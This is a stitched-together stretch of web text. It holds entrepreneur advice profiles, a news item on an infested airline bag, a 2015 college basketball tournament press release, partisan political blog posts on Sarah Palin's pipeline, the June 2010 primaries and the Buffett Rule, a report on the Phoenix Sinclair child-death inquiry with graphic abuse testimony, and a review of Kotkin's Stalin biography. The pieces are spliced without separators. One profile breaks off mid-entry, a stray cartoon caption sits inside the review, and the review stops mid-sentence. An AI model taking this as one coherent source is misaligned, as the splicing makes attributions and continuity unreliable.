Best Advice? “You will never succeed without me!” My boyfriend and business partners prediction when I ended our business partnership, after he announced he would marry my secretary.
Biggest Failure & Lesson? My fabulous new idea to put all our apartments for sale on videotape so customers wouldn’t have to go out to see them. I pissed away my first profit of $77,000 and it was dead on arrival. In an effort to save face, I put them on this new government thing called the Internet. It was 1989. We had two sales out of London in the first week. I registered all of my competitors URLs under my name. One by one they called.
Definition of Success? Feeling proud of yourself got trying.
Guy Kawasaki | Chief Evangelist at Canva, Co-Founder of Alltop
Image Credit: thefullsignal.com
Best Advice? Never ask people to do something I wouldn’t do. This is a very good test for how you treat your employees and customers—assuming you’re not a sociopath.
Biggest Failure & Lesson? My biggest failure is that Macintosh did not achieve 100% market share of the PC market. I learned that the best gizmo doesn’t necessarily win. It’s taken 30 years, but I’ve gotten over this.
Definition of Success? First, that you made the world a better place. Second, you don’t “have to” do anything.
Gary Vaynerchuk | Author & Founder of VaynerMedia
Image Credit: Entrepreneur.com
Best Advice? Early on in my career, my dad taught me that when I committed to buying cases of any given wine, I was in for them no matter what. It didn’t matter what transpired between commitment and delivery, I would take the merchandise because word is bond. That’s been the single biggest influence on my success, and something that might surprise a lot of people given my showmanship.
Biggest Failure & Lesson? In 2009 I had founded VaynerMedia, purchased Cork’d, and was involved in about half a dozen other business ventures. I tried to do everything, and ended up not doing anything. Since then I’ve learned how to focus much better, and I’ve built up a team around me that allows me to do just that, so let’s see if I’ve learned anything. 🙂
Definition of Success? I define success by how many people show up to my funeral.
Christiane Lemieux | Founder of DwellStudio
Image Credit: CrainsNewYork
Best Advice? I’ve made every mistake and received all forms of advice; from things that are valuable to ideas that are totally off the wall. I’ve tried most. But the single best piece of advice is to “stay focused.” As a serial entrepreneur—I have a very bad case of “shiny object syndrome,” I am distracted and seduced by new ideas, concepts, business models and opportunities. My path to success has been a jagged line. A straight line meets milestones much more quickly.
Biggest Failure & Lesson? The biggest mistake I made was not seriously vetting an investor I had in the business. Not all money is helpful or strategic, and all money has strings attached. Sometimes theses strings become a noose. Be very careful—ask all the right questions, vet your investors very seriously. It’s a marriage and you want a healthy and sustainable one to get you through the ups and downs of business.
Definition of Success? Success for me is defined by how my business touches the people I work with. My greatest joy, and hopefully my most enduring legacy has been all of the lives I’ve touched both here and overseas through the jobs I’ve created. When I think about my employees in New York who have great healthcare, or my partners in Vietnam sending their kids to school—it makes the hard work, travel and constant forward motion worth every single minute.
Grant Cardone | Entrepreneur and Creator of Whatever It Takes Digital Network
Image Credit: WitNation.com
Best Advice? The best investment you will ever make is in yourself. (Grant’s mom told him this).
Biggest Failure & Lesson? I should have gone 10X bigger from the get-go. The lesson learned was, it’s the same amount of work to stay small as it is to go big. Building a $100 million dollar company is no more work than building a $1 million company.
Definition of Success? Success for me is the attainment of the gap between my current reality and my potential.
Image Credit: simplereminders.com
Best Advice? When I was in my twenties, W. Clement Stone, who was my boss and mentor, told me to always dream big, ask boldly for what I wanted, and to take action on an idea immediately. It was that advice that ultimately led to the creation of the Chicken Soup for the Soul series, which now has over 500 million copies in print in 47 languages around the world.
Biggest Failure & Lesson? We spent a year attempting to create a new human potential oriented internet portal, and we never got it off the ground. What I learned was to stick to our core business—writing and training. I also learned the importance of having adequate funding for the marketing needed to pull off such a huge venture. We were ignorantly going up against AOL at that time, and they were spending millions advertising everywhere.
Definition of Success? I believe success is fulfilling your soul’s purpose. I believe we each have a purpose to fulfill in this lifetime. Mine is to empower people and organizations to live their highest vision in a context of love and joy and in harmony with the highest good of all concerned. I believe everything works better when it is done in the spirit of love and joy rather than fear and greed, and that if we’re always looking to create win-win solutions rather than only pursuing our own selfish interests (as in the case of the recent financial meltdown caused by a handful of bankers and investors), the world would function much better.
Mark Cuban | Shark Tank Investor, Owner of Dallas Mavericks
Image Credit: abcnews.com
Best Advice? Today is the youngest you will ever be, live like it.
Biggest Failure & Lesson? Lots of failures, but I haven’t had my biggest one yet.
Definition of Success? Waking up every morning with a smile on my face knowing its going to be a great day.
Alexa von Tobel | Author & Founder of LearnVest
Image Credit: LearnVest
Best Advice? Financially, never overspend on your home. By underspending here, it can give you a lot of room and flexibility throughout your entire budget. I also love the motto “get up, dress up, show up.” By this I mean get up ready to go, dress the part, and show up with your best attitude and energy to tackle all that your day will bring.
Biggest Failure & Lesson? As an entrepreneur, I believe you have to be OK with failure. If you’re not failing, you’re likely not pushing yourself hard enough. The important thing is to figure out how to accept these failures, and then get back up and keep going. “Fail fast” is a concept we tend to encourage at LearnVest—don’t be afraid to try something, but be ready to learn from it and move forward.
Definition of Success? To me, success is working towards a goal I can believe in. My life’s mission is to make financial education and advice accessible to people nationwide. If we can help people make progress on their money, then I’d say all of this work has been worth it.
Noah Kagan | Marketing Expert & Founder of AppSumo
Image Credit: Mashable.com
Best Advice? Don’t be a b*tch. I ran away from home and then my mom went across the street and made me come home. My step-dad then said instead of running away, I need to face issues head on. I think about that moment and the message a lot. Face your fears and go towards them—never as scary as they seem.
Biggest Failure & Lesson? Ha. This has been documented more than I care. Getting fired from Facebook. Losing out on $200 million at today’s market value. Biggest lesson learned is that the best way to get known is to create things that help others.
Definition of Success? Doing work that I’m proud of and having fun. Most people want complex answers but there’s not a monetary or external goal. Every time I focus on things that I internally truly want then I feel satisfied when I get them. It’s not a feeling of success but proudness with myself for wanting something and getting it. Be careful to avoid having others put their success pressures on yourself.
Erika Trautman | Founder of RaptMedia
Image Credit: Huffington Post
Best Advice? “Fearlessness is a muscle. The more I exercise it, the less my fears run me.” This is a quote I once read by Ariana Huffington. Paradoxically, I think fearfulness can make a person reckless, whereas fearlessness gives you the mental space to think calmly and logically about tough decisions.
Biggest failure & lesson? Without openness and transparency, you can lose the trust of your team, especially during the tough times. Rapt Media went through some scary moments as we were getting off the ground. I thought if they knew exactly how tough things were, they would panic and quit their jobs and then we’d really be in trouble. So I kept them out of the loop during some critical events while we were closing our seed round. When we finally closed that round, I turned to the team to celebrate only to discover I’d lost their trust. Since then, I share the good news and the bad and we tackle the issues together because the vision is worth it.
Definition of success? To me, success is building and leading an amazing team capable of creating something indelible and transformational. I think many entrepreneurs are driven to change the world, and I’m no different.
Steven Pressfield & Shawn Coyne | Authors & Co-founders of Black Irish Entertainment
Best Advice? Never pass up an opportunity to use a rest room.
Biggest Failure & Lesson? Failing to start doing what matters sooner. The lesson learned is to start before you’re ready.
Definition of Success? Discovering what you’re supposed to be doing and then doing that.
Jessica Butcher | CMO & Co-Founder of Blippar
Image Credit: flickr.com
Best Advice? Invest in memories. It’s ultimately what life is about—people, places, moments and experiences. Money can be a great enabler for these when invested in shared experiences like parties, holidays or team days out. But many can be achieved on a budget or at no cost—in making new connections, enjoying a sunset, great music or a good book.
Biggest Failure & Lesson? Allowing a negative situation to spiral downward, and then choosing to quit rather than salvage the situation through small, positive steps. Sometimes it’s the right decision to end a particular course of action or working relationship, but I now make a more concerted effort to salvage or reverse a situation. If that’s not feasible, at least bring it to a more positive conclusion.
Definition of Success?
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's certainly unusual."
The operator of the flight, Brussels Airlines, reported that the infestation was thanks to one passenger who had packed expired food.
"I can confirm that we have had sanitation problems with a passenger's baggage, which apparently contained food which was expired and rotten," spokesman Geert Sciot said. "It was transfer baggage from another continent."
The airline said on Monday that the infested bag had been destroyed, and the remaining bags had been sanitized in Brussels. The baggage will be flown back to Stockholm on Monday evening.SPRINGFIELD, MA - The Naismith Memorial Basketball Hall of Fame announced today the field of teams and brackets for the 2015 Tip-Off Tournament. The annual NCAA men's exempt tournament sponsored by the Metro Atlantic Athletic Conference will take place Saturday, November 21 and Sunday, November 22 at Mohegan Sun Arena in Uncasville, Connecticut highlighted by eight schools in two four-team brackets with campus round games taking place around the Mohegan Sun Arena schedule.
Teams scheduled to participate in this year's Tip-Off tournament are: The University at Buffalo, The State University of New York (Mid-American), University of Florida (SEC), Niagara University (MAAC), North Carolina A&T (MEAC), Old Dominion University (CUSA), Purdue University (BIG 10), Saint Joseph's University (Atlantic 10) and University of Vermont (Am. East).
UB will begin the tournament on November 16 at Old Dominion and then will travel to Philadelphia two days later and play at St. Joseph's University on November 18. The Bulls will then travel up to Mohegan Sun for a pair of games beginning with North Carolina A&T on November 21. UB will conclude play the following day by playing either Vermont or Niagara.
"The Hall of Fame Tip-Off Tournament at Mohegan Sun has become one of the most acclaimed collegiate tournaments in the month of November" said John L. Doleva, President and CEO of the Basketball Hall of Fame. "Of the teams who participated in 2014, four of them made it to the NCAA Tournament. We hope this competitive atmosphere will serve as a stepping-stone for the teams contending this year as well.
The Metro Atlantic Athletic Conference will continue to serve as the host conference for the annual event. The MAAC has developed a strong partnership with the Basketball Hall of Fame, including the addition of a MAAC exhibit in the Hall of Fame museum in Springfield, Massachusetts.
A pre-sale of tickets to all participating schools will start on May 6 at 10:00 a.m. EST via all Ticketmaster outlets and the Mohegan Sun Arena box office. General public tickets will go on sale Friday, September 11. Game times for Mohegan Sun Arena will be announced at later date.
For more information on tickets, please log onto www.halloffametipoff.com.
Naismith Bracket
University of Florida
Old Dominion University
Purdue University
Saint Joseph's University
Springfield Bracket
University at Buffalo, The State University of New York
Niagara University
North Carolina A&T
University of Vermont
Tournament Schedule
Campus Round Schedule
November 13
Niagara University @ Old Dominion University
North Carolina A&T @ Purdue University
November 15
University of Vermont @ Purdue University
Niagara University @ Saint Joseph's University
November 16
North Carolina A&T @ University of Florida
University at Buffalo @ Old Dominion University
November 18
University at Buffalo @ Saint Joseph's University
November 25
University of Vermont @ University of Florida
Saturday, November 21 at Mohegan Sun Arena, Uncasville, CT
Naismith Bracket
University of Florida vs. Saint Joseph's University
Purdue University vs. Old Dominion University
Springfield Bracket
University of Vermont vs. Niagara University
University at Buffalo vs. North Carolina A&T
Saturday, November 21 at Mohegan Sun Arena, Uncasville, CT
Naismith Bracket
Consolation Game
Championship Game
Springfield Bracket
Consolation Game
Championship Game
Head Coach Comments
Nate Oats – University at Buffalo, The State University of New York
"It is an honor to be selected to play in the Basketball Hall of Fame Tip-Off event. This is an outstanding opportunity for our team to be challenged by some quality opponents early in the season and we are looking forward to playing games at a first-class facility at the Mohegan Sun Arena."
Billy Donovan – University of Florida
"This has been a great event in the past, and we're honored to be part of it this fall along with a tradition-rich field."
Chris Casey – Niagara University
"Our team looks forward to playing in the Hall of Fame Tip-Off Tournament. The event has a history of outstanding teams and great competition, which will prepare us well for a difficult conference schedule."
Cy Alexander – North Carolina A&T
"It is certainly an honor for North Carolina A&T State University to be included in the field of teams for the Hall of Fame Tip-Off. The state of North Carolina has such a rich tradition in college basketball. The fact A&T is representing the state in a tournament valuing the origins of basketball is a great step forward for our men's program and the young men who represent our program. Our university administration, department of intercollegiate athletics, alumni, fans and students are looking forward to a great event."
Jeff Jones – Old Dominion University
"We are very excited about competing in such a prestigious tournament. This is a very strong tournament field which I think our fans will enjoy watching and we will have a couple of home games as well."
Matt Painter – Purdue University
"We are thrilled to be chosen to play in the 2015 Hall of Fame Tip-Off Tournament at Mohegan Sun Arena. The tournament boasts a strong field and we feel this event will be a highlight of our non-conference season. The games will provide a great opportunity for our team and we are looking forward to the challenge."
Phil Martelli – Saint Joseph's University
"As a program, we are excited to be affiliated with the Naismith Basketball Hall of Fame and the Hall of Fame Tip-Off. We're honored to be chosen as a campus host and are anxious to have our players experience quality competition in such a beautiful setting as Mohegan Sun."
John Becker – University of Vermont
"We are excited to be participating in the Hall of Fame Tip-Off event again. It is a great event and Mohegan Sun is a good location for our fans to see us play. We are also looking forward to playing at Florida and Purdue, two established programs in college basketball."
About Mohegan Sun:
Mohegan Sun Arena is now ranked consistently among the top venues in the world according to Billboard Magazine, Pollstar and Venues Today. It has won "Casino of The Year" at the Country Music Awards in 2008 & 2010 and in 2013, was voted "Arena Of The Year" at the G2E Global Gaming Conference in Las Vegas. Also in 2013, Mohegan Sun won "Casino of The Year" in 2 categories at the Academy of Country Music Awards. For more information on concerts and other great events at Mohegan Sun, visit mohegansun.com. For information on this week's schedule, call the Entertainment and Special Events hotline at 1.888.226.7711, ext. 27163.
About the Naismith Memorial Basketball Hall of Fame:
Located in Springfield, Massachusetts, the city where basketball was invented, the Naismith Memorial Basketball Hall of Fame promotes and preserves the game of basketball at every level – professional, collegiate and high school, for both men and women on the global stage.
For more information:
Visit us on the web: www.hoophall.com
… on Facebook: www.facebook.com/BBHOF
… on Twitter: @hoophall
… or call 1-877-4-HOOPLAHere’s Pathological Palin in Toledo, Ohio this morning, bragging about her awesome pipeline that’s going to save us all.
…there had been talk of building another pipeline to transport cleaner, greener natural gas down to the Lower 48. But that’s all it ever amounted to — talk. And one of the main obstacles was big oil itself — ExxonMobil and other companies. … They were holding out for more billions of dollars — in public money. So we introduced the big oil companies and their lobbyists to a concept some of them had forgotten — free-market competition.
"Free-market competition"? Bullshit.
Governor Sarah Palin’s signature accomplishment – a contract to build a 1,715-mile pipeline to bring natural gas from Alaska to the Lower 48 – emerged from a flawed bidding process that narrowed the field to a company with ties to her administration, an Associated Press investigation shows… Despite Palin’s boast of a smart and fair bidding process, the investigation found that her team crafted terms that favored only a few independent pipeline companies and ultimately benefited the winner, TransCanada Corp.
Go on, Sarah:
When the last section is laid and its valves are opened, that pipeline will lead America one step farther away from reliance on foreign energy. That pipeline will be a lifeline — freeing us from debt, dependence, and the influence of foreign powers that do not have our interests at heart.
Ponies for everyone! Except Palin’s pipeline is still a pipedream.
There’s no guarantee that the 1,715-mile pipeline will ever be built. Even if it’s not, the company selected to lead the project could still receive up to $500 million in state subsidies.
So not only is this pipeline a pony, it appears that Sarah Palin is a big fat socialist.June 8 primaries happened in many different states with many different candidates. But all had the same message. The battle lines are drawn. It’s Main Street versus Wall Street. And it’s about jobs.
Wait, a minute. But, CNN and all report these primaries are about the anti-incumbent atmosphere, popularity of President Obama and strength of the tea party movement. Plus, on June 8, women ruled.
OK. You decide. Here are the results.
Voters in ten states, plus one run-off, went to the polls on June 8: California, Nevada, Arkansas (run-offs), Montana, North Dakota, South Dakota, Iowa, Virginia, South Carolina, New Jersey and Maine. All states had House of Representatives primaries, 7 states had governors’ primaries and 6, plus 1 run-off, had Senate races. Big headlines went to California, the Arkansas Senate run-off, Nevada and South Carolina.
Conservative Democrat Sen. Blanche Lincoln narrowly beat upstart challenger Arkansas Lt. Gov. Bill Halter. Labor and progressive groups like MoveOn backed Halter. Lincoln refused to support worker rights bill, Employee Free Choice Act, which curbs the bosses’ power to interfere in a worker’s right to collective bargaining. She also infuriated progressives by refusing to support the “public option” during the health care reform fight.
Lincoln won by 10,000 votes, 52 percent to 48 percent.
Politico’s Ben Smith reports a “senior White House official” (can you say, Rahm?) called and told him unions “flushed down the toilet” $10 million dollars by backing Halter.
The AFL-CIO and SEIU both issued statements on Arkansas results, which contradicted the official.
Richard Trumka, president of AFL-CIO, said, “Taking a two-term incumbent in deep red Arkansas into a runoff is a virtually unprecedented achievement. If working families were able to accomplish this in Arkansas, imagine what they can achieve in other states.
“It is also now abundantly clear to all politicians that if they want to get the support of working families on Election Day, they are going to need to fight for their issues every day.”
SEIU President Mary Kay Henry said in a statement, “Tonight, Sen. Lincoln won a narrow victory after a bruising runoff election where each and every day she was reminded that her success is only measured by doing right by working people and their families. The tens of thousands of volunteers and activists have made their point loud and clear: If you stop fighting for working families, working families will stop fighting for you.”
Arkansas is a “right to work” state, meaning its laws severely hamper a worker’s right to join a union. Yet the campaign brought it to a runoff and forced Lincoln to shift on some issues, for example, finance reform. What will happen in the general Senate election there is still in flux.
In California, two women, both Republicans and corporate CEOs, Meg Whitman and Carly Fiorina, will battle Jerry Brown for governor and incumbent Sen. Barbara Boxer for the U.S. Senate, respectively.
California labor leader Art Pulaski said, primary results “set in motion a battle for the soul of California. It’s Main Street vs. Wall Street.”
He vowed labor would counter “massive spending with an unprecedented grassroots campaign” on critical issues like jobs, health care and retirement security.
Tea party and Club For Growth candidate Sharron Angle beat her opponents for Nevada’s Republican Senate nomination. She will face Senate Majority Leader Harry Reid in November. Angle is reportedly Reid’s opponent of choice because of her extremist views.
Political analyst Nate Silver says Angle’s victory puts Reid in a much better place to win in November. If Reid “slips through, ” Silver says, “or if Rand Paul [GOP Kentucky Senate candidate] gums up the race so much he loses what otherwise should have been a surefire Republican hold in Kentucky there is a going to be a major reassessment of the value of the tea party to the Republican Party.”
Voter turnout on June 8 overall was reported as low-to-moderate. Unions, community and other groups are planning a major push to increase voter turnout for the November mid-term election.Obama’s solution to health care costs? Raising taxes on tanning salons and medical device manufacturers.
Obama’s solution to high gas prices? Raising taxes on oil companies.
Obama’s solution to a struggling economy? Raising taxes on investors through the “Buffett Rule.”
Notice a pattern here?
Of course, even if the “Buffett Rule” were enacted, the amount of revenue to the government is miniscule compared to both the annual deficit and our accumulated debt.
Savings from instituting the “Buffett Rule” in one year, according to the Joint Committee on Taxation: $5.1 billion.
By 2022, the committee estimates the Buffett Rule could be generating an additional $7 billion in revenue.
Savings from cutting federal spending from its fiscal 2011 level by one percent: $33.6 billion.
In other words, asking every federal agency and department to get by with 99 percent of what it received last year would generate six times the savings of the Buffett Rule.WINNIPEG - As five-year-old Phoenix Sinclair suffered a final, deadly beating on the concrete basement floor of her family's home, a terrified stepbrother peeked around the corner and witnessed the assault, an inquiry into the girl's death heard Monday.
"I was just a little kid, you know, didn't even know what... was going on," testified the stepbrother, who is now a 20-year-old man and cannot be identified under a publication ban.
Phoenix's mother, Samantha Kematch, was sitting on the stairs and watched her new boyfriend, Karl McKay, punch and kick Phoenix for 15 to 20 minutes on that day in June 2005, the stepbrother said. Afterward, the couple left and he, then a boy of 12, went to check on the battered girl.
"She was all cold. I put my hand by her mouth. She wasn't even breathing."
Later, McKay and Kematch came back and tried to revive the girl.
"They brought her upstairs, put her in a bathtub, tried running water on her, tried to do CPR."
The inquiry is examining how Manitoba child welfare failed to protect Phoenix, who had spent much of her life in foster care or with family friends before being returned to Kematch. Months before Phoenix's death, social workers paid a short visit to Kematch, didn't actually see the child, but decided all was well.
The beating that killed Phoenix was not out of the ordinary. The stepbrother and another sibling witnessed Phoenix being abused, neglected, starved, shot with a BB gun and forced to eat her own vomit. Other children in the home were not physically abused.
Kematch and McKay buried Phoenix in a shallow grave near a landfill and told others she was still alive. They continued to collect welfare benefits with her listed as a dependent.
Eight months later, one of the child's stepbrothers told his mother — a former common-law spouse of McKay — and she called authorities. Kematch and McKay were arrested a short time later and were convicted in 2008 of first-degree murder.
McKay's former partner, whose identity is also protected under a publication ban, told the inquiry Monday that McKay had always been a violent man and had tried to kill her twice in the five years they were together.
"He always fought me where the bruises wouldn't show. It was always under my clothes."
On one occasion, she testified, McKay tried to throw her and their infant son down a staircase. Another time, he came at her with a machete.
"(McKay's) sister gave me a machete because I was alone all the time, and he tried to use that machete on me."
McKay also had a long record of domestic violence outlined in the province's family services central database. But social workers never caught on that he had become part of Phoenix's life.
The inquiry has already heard of a list of failures by social workers.
Social workers were sometimes unaware of who was taking care of Phoenix — usually it was friends of the family or relatives, for days or weeks at a time. In 2003, she was seized from her biological father's home after a day-long drinking party where suspected gang members were present.
The father was told to undergo alcohol counselling before he could get his daughter back. He didn't, but regained custody anyway.
The step-brother's mother who testified Monday lashed out at social workers at one point for their handling of Phoenix's case.
"Social workers failed her."
Also on HuffPostIs there any point to another Stalin biography? Before the opening of the old Soviet archives, three decades ago, the best historians mastered the limited available sources and proceeded to fill in the gaps through inspired guesswork. In addition to genuine insight, this guesswork sometimes involved cross-Atlantic psychoanalysis, including speculations on how Stalin was swaddled as an infant, and could reach the point of imagining his thoughts and putting them in quotation marks. But the archives—while curbing these excesses, settling old arguments over the precise number of people shot by Stalin’s secret police during the Terror (an astonishing six hundred and eighty-one thousand six hundred and ninety-two), and showing definitively that it was Stalin who signed the execution orders—have not radically altered anyone’s over-all conception of what sort of person Stalin was, or what sort of regime he presided over. The Bolsheviks, we’ve learned, sounded behind closed doors exactly the way they sounded in public. They were what we thought they were. In the post-Soviet era, the most interesting work on the Stalinist period has been social history, far beyond the Kremlin walls—the study of what one of its leading practitioners, Sheila Fitzpatrick, in her book “Everyday Stalinism,” called “ordinary life in extraordinary times.” With a slight lowering of the ideological temperature, there has been far more willingness to see in the Soviet experiment not just horror and death but good intentions, contradictions, and commonalities with Western modernity. The appearance or reappearance on the map of the post-Soviet republics—in part, as scholars have pointed out, because of the “indigenization” policy instituted by Lenin and Stalin—has also prompted a lot of productive work on the experiences of the Soviet periphery. One of the most influential of the post-Soviet books was the Princeton historian Stephen Kotkin’s “Magnetic Mountain: Stalinism as a Civilization” (1995), a study of the steel city of Magnitogorsk, the U.S.S.R.’s answer to Pittsburgh, as it was constructed in the shadow of the Ural Mountains in the early nineteen-thirties. The book was a sharp-elbowed intervention in the decades-old debate between “totalitarian” historians, who saw in the Soviet Union an omnipotent state imposing its will on a defenseless populace, and “revisionist” historians, who saw a more dynamic and fluid society, with some portion of the population actually supporting the regime. Kotkin’s synthesis was influenced by the philosopher Michel Foucault, who spent several semesters at Berkeley, where Kotkin was a graduate student. Foucault had argued that power did not reside exclusively or even primarily with the state but was disseminated like a web over a society’s institutions. This insight, applied to the Stalinist era, was transformative. Yes, the regime tried to impose its will and its ideas on the population, as the totalitarians had claimed; but also, as the revisionists had counter-claimed, the population was an active participant in and interpreter of this project. With its attention to everyday life, “Magnetic Mountain” was revisionist in form; with its emphasis on ideology (Kotkin’s other influence was Martin Malia, the intellectual historian and ardent cold warrior), it was totalitarian in content. The key theoretical concept was “speaking Bolshevik,” by which Kotkin meant not only the rote language people used to navigate the bureaucracy but also the more evocative language—of “shock work,” “capitalist encirclement,” and, above all, “building socialism”—that people increasingly used to understand themselves and their lives. Two decades later, Kotkin has seemingly reversed field and produced... a Stalin biography. Entering a crowded marketplace, the book makes its mark through its theoretical sophistication, relentless argumentation, and sheer Stakhanovite immensity: two volumes and two thousand closely printed pages in, we’re only up to 1941. (A projected third volume should take us through the war and to Stalin’s death, in 1953.) Kotkin also attempts to answer the chief philosophical question about Stalin: whether the monstrous regime he created was a function of his personality or of something inherent in Bolshevism. Stalin was born Joseph Dzhugashvili in 1878 in Gori, Georgia, on the periphery of the Russian Empire. His father was a hard-drinking cobbler whose relationship with Joseph’s mother, Keke Geladze, came to an end when the boy was around six years old. This was a financial blow to the family, but Keke learned how to make dresses and managed to keep Joseph, her only child, in the classroom. He studied first at the local theological school, then at the illustrious theological seminary in Tiflis (now Tbilisi). Historians have long wondered whether the eventual mass murderer could be discerned in the Tiflis seminarian. The answer appears to be no. Joseph’s childhood was pretty ordinary for that time and place. His father beat him, but that was standard; he was poor, but relatives and neighbors helped out; he was an outstanding student, and a leader at his school, but he did not stage show trials of any of his classmates. (On swaddling, the jury is still out.) Young Joseph grew restless at the seminary and was expelled after a series of minor infractions, including the discovery in his possession of a large cache of anti-monarchical literature. He had decided to become a revolutionary, not a priest, but he remained, for the rest of his life, a voracious and attentive reader. He rose through the ranks of the Georgian revolutionary movement, impressing Lenin, then in European exile, with his strident articles and his intrigues against rival socialist factions. As a rebellious youth at the seminary, he had adopted a nickname, Koba, after an outlaw character from a popular nineteenth-century Georgian novel, and he was an effective sometime organizer of the “expropriations”—often of bank wagons transporting cash—with which the revolutionary movement tried to finance itself. The British journalist and historian Simon Sebag Montefiore, in his vivid “Young Stalin,” depicted him as a “gangster godfather” and “prolific lover.” Kotkin has no patience for this sort of thing. “Stalin had a penis, and he used it” is about the extent of his commentary on Stalin’s romantic exploits, and neither does he have any interest in Stalin as a gangster godfather. Stalin’s primary contribution to the movement, Kotkin maintains, was through his organizing work and his pen—it was to sign an article he wrote on socialism and nationalism that he came up with “Stalin,” after the Russian word for “steel.” Young Stalin developed a clear, catechistic style, and was adept at boiling down complex ideas into simple binaries and folksy fables. That he was a little rougher around the edges than some of the bespectacled Jewish intellectuals who filled the ranks of the early Russian socialist movement was more a testament to the fact that they were bespectacled Jewish intellectuals than that Stalin was particularly thuggish. Perhaps the most telling detail found in the archives about the young Stalin comes from a tsarist secret-police characterization that has him behaving “in a highly cautious manner, always looking over his shoulder as he walks.” He was careful, well organized, and totally committed. His various activities landed him in prison several times and finally earned him, in 1913, a sentence to Siberian exile, where he remained until the fall of the tsarist autocracy, in February, 1917. The sudden collapse of the monarchy that had ruled Russia for three hundred years led to chaos. Russia immediately became, as one participant put it, “the freest country in the world.” The political prisoners were free; the Pale of Settlement was obliterated; and the independence-minded peoples on the Russian periphery—including the Poles, the Balts, the Georgians, and the Ukrainians—were no longer captive. As the great literary critic Viktor Shklovsky, then serving in the Russian Army in Persia, put it, “The show ‘Russia’ was over; everyone was hurrying to get his hat and coat.” Unfortunately, nobody had called off the First World War, and Russia was still fighting the Central Powers. The post-February governments—shifting coalitions of liberal gentry and socialist reformers—decided, fatefully, to stay the course. Confusion reigned among the many revolutionaries returning to St. Petersburg (then Petrograd), including Stalin. With the help of a mild-mannered Bolshevik named Lev Kamenev, Stalin quickly wrested control of the Party mouthpiece, Pravda, from the younger, less experienced Vyacheslav Molotov, and proceeded to advance a moderate agenda: to remain in the war and even to seek rapprochement with the other socialist parties. Lenin, then in Switzerland, began bombarding Stalin with instructions to take a tougher line: no war and no socialist coalition. Stalin, thinking Lenin out of touch, ignored him. It wasn’t until April that Lenin, having negotiated with the Germans to provide him safe passage back to Russia (the Germans realized that he might have a destabilizing effect on their enemy), arrived at the Finland Station, in St. Petersburg, and announced his radical opposition to the current government and to the war. Six months later, in October, Bolshevik workers, soldiers, and sailors seized the central telegraph and the bridges, arrested the government, and declared Soviet power. For the next four years, they waged a civil war against all their enemies, including the newly independent states to the south and west. Kotkin’s first volume, “Stalin: Paradoxes of Power, 1878-1928,” published three years ago, situated the Soviet experiment amid the broad sweep of European history. The revolution was a Russian phenomenon, yes; but it was also a response to the forms of mass politics and total war that shook Europe in the first two decades of the twentieth century. By reducing the Russian Empire to near-starvation, the First World War created the opportunity for the Bolsheviks to seize power. But Kotkin makes clear that the war’s slaughter fields also confirmed the Bolshevik view that the capitalist-imperialist system was plunging the world into suicide—and lowered the price, in everyone’s eyes, of human life. The other notable aspect of the international situation was what came to be called “capitalist encirclement.” After the Bolsheviks took power and pulled out of the war, Russia’s former allies joined the civil war on the side of the anti-Bolshevik Whites. British forces landed in the north; British and French forces landed in the south; a Czech battalion, trying to return home via the Trans-Siberian Railway, ended up conquering a swath of western Siberia. None of these forces fought very hard, and by 1920 they were mostly gone. But their intervention convinced the Bolsheviks that the capitalist powers would not rest until Communism was dead. After the civil war, Stalin watched with trepidation as European governments were overthrown by small groups of determined plotters. In Italy, in 1922, Mussolini was made Prime Minister after merely threatening to march on Rome. In Poland, a few years later, Józef Piłsudski took Warsaw. Romania, Hungary, the Baltic states—all fell under the sway of right-wing dictatorships, and all were deeply hostile to Soviet power. “Yes, chocolate’s O.K. in moderation. Next question?” A key argument in “Paradoxes of Power” revolved around Stalin’s relationship to Lenin. Stalin played an important but secondary role in the October Revolution; the starring roles were unquestionably Lenin’s and Trotsky’s. Lenin was a brilliant, once-in-a-generation strategist, tacking right when others tacked left, attacking when they retreated, always keeping his end goal in view. Trotsky was a magnificent orator, one of the best propagandistic writers of the twentieth century, and completely fearless. He led the Petrograd Soviet—the representative body for the workers and soldiers of the empire’s capital—in the crucial months before the revolution, and then built from scratch the Red Army that won the civil war. Kotkin argues that a leftist revolution of one kind or another was likely to take place in Russia in 1917, but there did not have to be two of them, and the second did not have to be of the radical Communist variety. “The Bolshevik putsch could have been prevented by a pair of bullets,” Kotkin writes: one each for Lenin and Trotsky. None for Stalin. And this is Stalin’s biographer! Still, when it came time to build a mass party that could administer a powerful state, Lenin found himself depending more and more on Stalin. It turned out that Stalin had a genius for management—for setting up clear lines of authority and for inspiring and organizing people. Anyone who’s ever spent any time around leftist revolutionaries, or just members of a fractious community garden, will recognize how valuable such skills might be. In 1922, Lenin created a new post expressly for Stalin: General Secretary of the Communist Party. But doubts about their relationship would haunt Stalin throughout his rule. His critics, led by Trotsky, never tired of reminding him of his secondary role in the Bolshevik Revolution. They also never let him forget a document that Lenin drafted in late 1922 and early 1923, shortly before he became incapacitated by his third stroke, in which he urged that Stalin be removed from his post. “Comrade Stalin,” Lenin wrote, or dictated, “having become General-Secretary, has concentrated boundless power in his hands, and I am not sure whether he will always be capable of using that authority with sufficient caution.” In an addendum to the letter, apparently after an incident in which Stalin chewed out Lenin’s wife, Nadezhda Krupskaya, Lenin was more categorical: “Stalin is too rude, and this defect, although quite tolerable in our midst and in dealing among us Communists, becomes intolerable in a General-Secretary.” Lenin hoped his letter would be read aloud at the next Party Congress. Instead, it was read in small group sessions, where it could be more easily controlled, and not published in the Soviet Union until after Stalin’s death. Here again the opinionated Kotkin enters the arena. The testament is a key document not only because of its dramatic nature—Lenin, on his deathbed, rejecting Stalin—but because it seems to address one of the central questions about the revolution: Did it lead inexorably to Stalin? If the answer is yes, that tells you all you need to know about this revolution. If the answer is no—if there were other, more humane and democratic paths for the revolution to take—then the whole question requires more thought. Kotkin’s answer is twofold. The first is to allege that the testament was a forgery cooked up by Krupskaya. Kotkin believes that Lenin was too incapacitated to have composed the document in any legitimate way. Krupskaya must have interpreted it, as one would a Ouija board. This was the one claim in the first volume that really rankled other historians. Some of them pointed out that the recent Russian originator of the testament-forgery thesis, on whose work Kotkin relied, was an unapologetic Stalinist. For a historian who prizes evidence as much as Kotkin does, it seemed an unnecessarily extravagant claim. The pugnacious Kotkin has not backed down, however; in Volume II, the testament appears again as “Lenin’s supposed testament.” But Kotkin has a second and more convincing answer to the question of the succession: Stalin was, quite simply, the man most qualified for the job. Trotsky claimed that Stalin was adept at manipulating the bureaucracy, and meant this as an insult. In fact, these were the skills necessary to govern a modern state, and they explain why Stalin had already won so much power while Lenin still lived. Trotsky did not have the talent for the dull work of administration. Even in exile, he was constantly undermining his allies and arguing with his friends. In Kotkin’s unsentimental appraisal, Trotsky was “just not the leader 